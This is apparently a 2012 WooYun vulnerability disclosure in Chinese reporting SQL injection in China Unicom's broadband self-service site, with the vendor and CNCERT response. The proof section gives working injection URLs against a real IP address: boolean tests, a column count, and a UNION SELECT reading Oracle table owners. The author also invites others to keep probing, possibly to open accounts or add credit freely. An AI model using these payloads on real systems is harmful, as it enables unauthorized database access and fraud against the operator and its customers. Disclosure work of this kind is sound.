漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-07682
漏洞标题：中国联通宽带自助服务站点存在sql注入
相关厂商：中国联通
漏洞作者： px1624
提交时间：2012-05-30 18:42
修复时间：2012-07-14 18:42
公开时间：2012-07-14 18:42
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-05-30： 细节已通知厂商并且等待厂商处理中
2012-06-04： 厂商已经确认，细节仅向厂商公开
2012-06-14： 细节向核心白帽子及相关领域专家公开
2012-06-24： 细节向普通白帽子公开
2012-07-04： 细节向实习白帽子公开
2012-07-14： 细节向公众公开
简要描述：
联通宽带的自助服务站点可以sql注入，怕联通去报警抓俺，没敢深入。。。
详细说明：
由于使用联通宽带包月，一个月有8天不能上网（正常5天停2天），于是去投诉，搞了一个多月，终于给俺赔偿了10块钱，
虽然期间花费电话费都起码30元以上了，不过在联通公司这里搞到自己应有的赔偿也算是很不容易了，我认为这点我是赢了。
好吧进入正题，一直感觉联通的这个自助服务网页做的很搓，看起来就是做的蛮粗糙的。就试了试。
自助服务地址：http://124.89.91.246/SelfServiceLogin.jsp
登陆后，在原文件中可以找到可以sql的地址。（如图）
http://124.89.91.246/servicedetail.jsp?MONTHPAYID=1
不登陆是找不到这个地址的。
然后漏洞详情分析，请看漏洞证明部分。
漏洞证明：
直接看下面的sql语句
http://124.89.91.246/servicedetail.jsp?MONTHPAYID=1 or '1'='1' --
http://124.89.91.246/servicedetail.jsp?MONTHPAYID=1 or '1'='2' --
// '1'='1' 和 '1'='2' 所出现页面不一样，说明可以sql注入。
http://124.89.91.246/servicedetail.jsp?MONTHPAYID=1 or '1'='1' order by 11--
// 11个字段
http://124.89.91.246/servicedetail.jsp?MONTHPAYID=1 and 1=2 union select null,null,null,null,null,null,null,null,null,null,(select owner from all_tables where rownum=1) from dual--
// SYS权限
我这里只是抛砖引玉下，估计以联通的风格应该也不会理吧。
记得之前有人反馈可以随意的用10010发短信的漏洞，就被人家直接给无视了，
最后还去报警了，真无语。。。
有兴趣的不怕警察叔叔的大牛可以继续研究下，这个sql挖下去，有可能个可以随意开户和充钱也说不定哦。
修复方案：
你懂的。
版权声明：转载请注明来源 px1624@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2012-06-04 11:20
厂商回复：
CNVD确认但未复现相关情况（无授权登陆），经评估，仅涉及陕西西安地区部分用户，转由CNCERT陕西分中心协调基础电信运营企业处置。
暂未能按评分标准评分，rank 6
最新状态：
暂无